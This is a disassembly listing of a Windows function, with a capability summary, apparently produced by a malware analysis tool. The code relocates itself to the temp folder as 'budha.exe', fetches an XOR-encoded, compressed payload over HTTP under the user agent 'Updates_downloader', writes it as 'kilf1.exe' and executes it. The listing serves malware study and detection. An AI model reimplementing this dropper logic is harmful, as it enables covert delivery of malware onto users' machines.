Function at 0x401053
Capabilities:
Compress data via winapi
Connect to http server
Create http request
Create process on windows
Delete file
Download and write a file
Encode data using xor
Get common file path
Get file size
Get http content length
Read and send data from client to server
Read data from internet
Read file on windows
Receive and write data from server to client
Receive data
Send data
Send http request
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x8d4
push ebx
push esi
push edi
xor ebx, ebx
push ebx
mov dword [ebp + 0x48], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, 0xffffffff
jne 0x40107a
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push ebx
mov esi, 0x2000
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push esi
push 8
push eax
mov dword [ebp + 0x68], eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push 8
push dword [ebp + 0x68]
mov edi, eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push edi
push ebx
mov dword [ebp + 0x6c], eax
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push dword [ebp + 0x6c]
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push str.budha.exe
push dword [ebp + 0x6c]
push str._s_s
push dword [ebp + 0x6c]
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp + 0x64], eax
cmp eax, 0xffffffff
jne 0x401100
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
add ebp, 0x78
leave
ret
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
mov dword [ebp + 0x74], eax
call esi
mov ecx, dword [ebp + 0x74]
lea eax, [ecx + eax*2 + 4]
push eax
push 8
push dword [ebp + 0x68]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp + 0x60], eax
cmp eax, ebx
je 0x401072
push ebx
lea ecx, [ebp + 0x54]
push ecx
push dword [ebp + 0x74]
push eax
push dword [ebp + 0x64]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp + 0x6c]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x4011e3
push edi
call esi
lea eax, [eax + eax + 2]
push eax
mov eax, dword [ebp + 0x60]
add eax, dword [ebp + 0x74]
push edi
push eax
call fcn.0040102e
add esp, 0xc
push ebx
push 0x80
push 2
push ebx
push 2
push 0x40000000
push dword [ebp + 0x6c]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp + 0x58], eax
cmp eax, 0xffffffff
je 0x4010f5
push ebx
lea eax, [ebp + 0x54]
push eax
push edi
call esi
mov ecx, dword [ebp + 0x74]
lea eax, [ecx + eax*2 + 4]
push eax
push dword [ebp + 0x60]
push dword [ebp + 0x58]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp + 0x64]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp + 0x58]
call esi
push edi
push 0x1000
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push ebx
push edi
push ebx
push dword [ebp + 0x6c]
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push ebx
jmp 0x401074
mov ecx, dword [ebp + 0x60]
mov eax, dword [ecx + 0x3c]
push dword [ebp + 0x64]
add eax, ecx
movzx edx, word [eax + 6]
imul edx, edx, 0x28
lea eax, [edx + eax + 0xd0]
mov esi, dword [eax + 0x14]
add esi, dword [eax + 0x10]
add esi, ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp + 0x74], ebx
jmp 0x40121b
inc dword [ebp + 0x74]
cmp dword [ebp + 0x74], 0x4e20
jg 0x401226
push esi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x40120f
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push edi
push ebx
push dword [ebp + 0x68]
call esi
push dword [ebp + 0x6c]
push ebx
push dword [ebp + 0x68]
call esi
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
mov dword [ebp + 0x44], esi
cmp esi, ebx
je 0x4010f5
push str.RtlDecompressBuffer
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [section..bss], eax
cmp eax, ebx
jne 0x401275
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
jmp 0x4010f5
mov esi, 0x100
push esi
push 8
push dword [ebp + 0x68]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov dword [ebp + 0x50], edi
cmp edi, ebx
je 0x4010f5
lea eax, [ebp + 0x3c]
push eax
push esi
push section..links
push 0x400
push edi
push 0x102
mov dword [ebp + 0x3c], ebx
call dword [section..bss]
push ebx
push ebx
push ebx
push ebx
push str.Updates_downloader
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [ebp + 0x38], eax
cmp eax, ebx
je 0x4010f5
or dword [ebp + 0x6c], 0xffffffff
mov dword [ebp + 0x28], str.text_
mov dword [ebp + 0x2c], str.application_
mov dword [ebp + 0x30], ebx
jmp 0x4012e5
mov edi, dword [ebp + 0x50]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [ebp + 0x6c]
mov eax, dword [ebp + 0x6c]
mov ecx, dword [ebp + 0x6c]
imul eax, eax, 0x6c
cmp ecx, dword [eax + edi + 0x68]
jl 0x401305
mov dword [ebp + 0x6c], ebx
mov esi, dword [ebp + 0x6c]
add esi, dword [ebp + 0x48]
mov dword [ebp + 0x74], ebx
mov eax, esi
imul eax, eax, 0x6c
add eax, edi
mov dword [ebp + 0x40], esi
mov dword [ebp + 0x60], eax
push ebx
push ebx
push 3
push ebx
push ebx
push 0x50
push dword [ebp + 0x60]
push dword [ebp + 0x38]
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp + 0x5c], eax
cmp eax, ebx
jne 0x401341
inc dword [ebp + 0x74]
cmp dword [ebp + 0x74], 3
jl 0x40131b
jmp 0x4012e5
imul esi, esi, 0x6c
lea eax, [esi + edi]
mov dword [ebp + 0x74], ebx
mov dword [ebp + 0x60], eax
lea esi, [eax + 0x20]
push ebx
push 0x80000000
lea eax, [ebp + 0x28]
push eax
push ebx
push ebx
push esi
push ebx
push dword [ebp + 0x5c]
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp + 0x68], eax
cmp eax, ebx
jne 0x40137c
inc dword [ebp + 0x74]
cmp dword [ebp + 0x74], 3
jl 0x401350
jmp 0x4012e5
xor esi, esi
push ebx
push ebx
push ebx
push ebx
push dword [ebp + 0x68]
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
jne 0x401395
inc esi
cmp esi, 2
jl 0x40137e
cmp esi, 2
je 0x4012e5
mov dword [ebp + 0x34], 4
mov dword [ebp + 0x70], ebx
xor esi, esi
push ebx
lea eax, [ebp + 0x34]
push eax
lea eax, [ebp + 0x70]
push eax
push 0x20000005
push dword [ebp + 0x68]
call dword [sym.imp.WININET.dll_HttpQueryInfoW]
test eax, eax
jne 0x4013cb
inc esi
cmp esi, 3
jl 0x4013aa
mov eax, dword [ebp + 0x70]
push ebx
shl eax, 2
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_HeapCreate]
push dword [ebp + 0x70]
mov dword [ebp + 0x5c], eax
push 8
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov dword [ebp + 0x58], esi
cmp esi, ebx
je 0x4015a8
mov dword [ebp + 0x54], ebx
mov dword [ebp + 0x74], ebx
mov edi, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp + 0x54]
push eax
push dword [ebp + 0x70]
mov dword [ebp + 0x64], esi
push esi
jmp 0x401428
mov eax, dword [ebp + 0x54]
add dword [ebp + 0x64], eax
cmp eax, ebx
je 0x401431
cmp eax, dword [ebp + 0x70]
je 0x401431
lea eax, [ebp + 0x54]
push eax
push dword [ebp + 0x70]
push dword [ebp + 0x64]
push dword [ebp + 0x68]
call edi
test eax, eax
jne 0x40140f
mov ecx, dword [ebp + 0x64]
mov eax, dword [ebp + 0x70]
sub ecx, esi
cmp ecx, eax
je 0x401446
inc dword [ebp + 0x74]
cmp dword [ebp + 0x74], 0x14
jl 0x4013fc
cmp dword [ebp + 0x74], 0x14
je 0x4012e2
cmp byte [esi], 0x5a
jne 0x4014d2
cmp byte [esi + 1], 0x5a
jne 0x4014d2
cmp byte [esi + 2], 0x50
jne 0x4014d2
cmp byte [esi + 3], bl
jne 0x4014d2
shl eax, 2
push eax
push 8
push dword [ebp + 0x5c]
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp + 0x5c], eax
cmp eax, ebx
je 0x4010f5
mov edi, dword [ebp + 0x70]
mov eax, dword [ebp + 0x60]
mov eax, dword [eax + 0x60]
mov edx, edi
xor ecx, ecx
and edi, 0xfffffffc
shl edx, 2
inc ecx
mov dword [ebp + 0x4c], ebx
cmp edi, 4
jbe 0x4014aa
xor dword [esi + ecx*4], eax
mov edi, dword [ebp + 0x70]
inc ecx
shr edi, 2
cmp ecx, edi
jb 0x40149c
sub dword [ebp + 0x70], 4
lea eax, [ebp + 0x4c]
push eax
push dword [ebp + 0x70]
add esi, 4
push esi
mov esi, dword [ebp + 0x5c]
push edx
push esi
push 0x102
call dword [section..bss]
mov eax, dword [ebp + 0x4c]
mov dword [ebp + 0x58], esi
mov dword [ebp + 0x70], eax
push dword [ebp + 0x44]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
cmp byte [esi], 0x4d
jne 0x40158b
cmp byte [esi + 1], 0x5a
jne 0x40158b
push 5
pop ecx
push 0x6c
lea eax, [ebp - 0x48]
push ebx
mov esi, str.kilf1.exe
lea edi, [ebp - 0x5c]
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00401000
mov eax, dword [ebp + 0x40]
add esp, 0xc
push ebx
push 0x80
push 2
push ebx
add eax, 0x31
push 2
mov word [ebp - 0x54], ax
push 0x40000000
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push ebx
mov esi, eax
lea eax, [ebp + 0x24]
push eax
push dword [ebp + 0x70]
push dword [ebp + 0x58]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x85c]
push eax
push 0x400
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x85c]
push eax
push 0x403084
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push ebx
push ebx
push ebx
lea eax, [ebp - 0x85c]
push eax
push str.open
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [ebp + 0x60]
mov ecx, dword [0x404100]
mov eax, dword [eax + 0x68]
dec ecx
mov dword [ebp + 0x48], eax
cmp eax, ecx
jge 0x4011dd
jmp 0x4012e2
push dword [ebp + 0x5c]
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
jmp 0x4010f5